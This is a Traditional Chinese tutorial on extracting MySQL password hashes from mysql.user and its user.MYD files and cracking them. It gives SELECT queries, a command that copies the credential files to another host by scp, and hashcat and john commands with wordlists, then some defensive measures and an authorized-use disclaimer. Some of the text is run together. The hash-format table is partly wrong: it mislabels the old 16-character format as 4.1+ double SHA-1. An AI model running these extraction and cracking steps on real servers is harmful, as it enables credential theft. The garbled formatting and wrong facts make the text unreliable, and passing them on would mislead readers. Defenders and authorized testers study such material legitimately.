MySQL 使用者帳號與密碼雜湊儲存於 mysql.user 表,物理檔案位於資料目錄:
/var/lib/mysql/mysql/user.frm # 表結構定義 /var/lib/mysql/mysql/user.MYD # 資料檔 (含密碼雜湊) /var/lib/mysql/mysql/user.MYI # 索引檔
USE mysql; SELECT User, Host, Password FROM user;
輸出範例:
+-----------+-----------+-------------------------------------------+ | User | Host | Password | +-----------+-----------+-------------------------------------------+ | root | localhost | *5D0B157F0A3BB4DB1A0092B4F270FBDA486EC6EB | | test | % | *085D85329E1557C869A120C9157315A07D51E8A7 | | ogame | localhost | *085D85329E1557C869A120C9157315A07D51E8A7 | +-----------+-----------+-------------------------------------------+
service mysql stopscp /var/lib/mysql/mysql/user.* analyst@host:/tmp/| 版本 | 格式特徵 | 範例 | 演算法 |
|---|---|---|---|
| MySQL 4.1+ (舊稱 3.23 格式) | 16 字元十六進制,無前綴 | 606717496649AF23 | 雙重 SHA-1 (舊) |
| MySQL 4.1+ (新格式) | 41 字元,*** 開頭 + 40 字元十六進制 | *5D0B157F0A3BB4DB1A0092B4F270FBDA486EC6EB | SHA-1(SHA-1(password)) |
| MySQL 8.0 (caching_sha2_password) | $A$005$ 開頭,含鹽值 | $A$005$THISISASALT$HASHVALUE | SHA-256 迭代 |
# MySQL 4.1+ 新格式 (mode 300) hashcat -m 300 -a 0 hashes.txt rockyou.txt -r rules/best64.rule # MySQL 8.0 caching_sha2_password (mode 17300) hashcat -m 17300 -a 0 hashes.txt rockyou.txt
# MySQL 4.1+ john --format=mysql-sha1 hashes.txt --wordlist=rockyou.txt --rules # 舊格式 john --format=mysql hashes.txt --wordlist=rockyou.txt
支援 MySQL 4.1+ 格式,適用於圖形化操作偏好者。
caching_sha2_password,破解成本指數級上升SELECT Password FROM mysql.userchmod 600 /var/lib/mysql/mysql/user.*、chown mysql:mysqlSELECT ... FROM mysql.user、mysqldump mysql.user僅授權範圍內進行安全測試、滲透測試、事故鑑識。 未經授權提取、破解、使用他人密碼雜湊均屬違法。本文旨在協助防禦者理解攻擊面,建立更強防禦。
MySQL 密碼雜湊從 user.MYD 提取至破解,完整鏈路涵蓋儲存格式演進、提取方法、破解工具參數、防禦對策。核心防禦:**強密碼 + 新認證插件 + 存取控制 + 審計監控**,讓攻擊者即使拿到雜湊也無法在可接受時間內破解。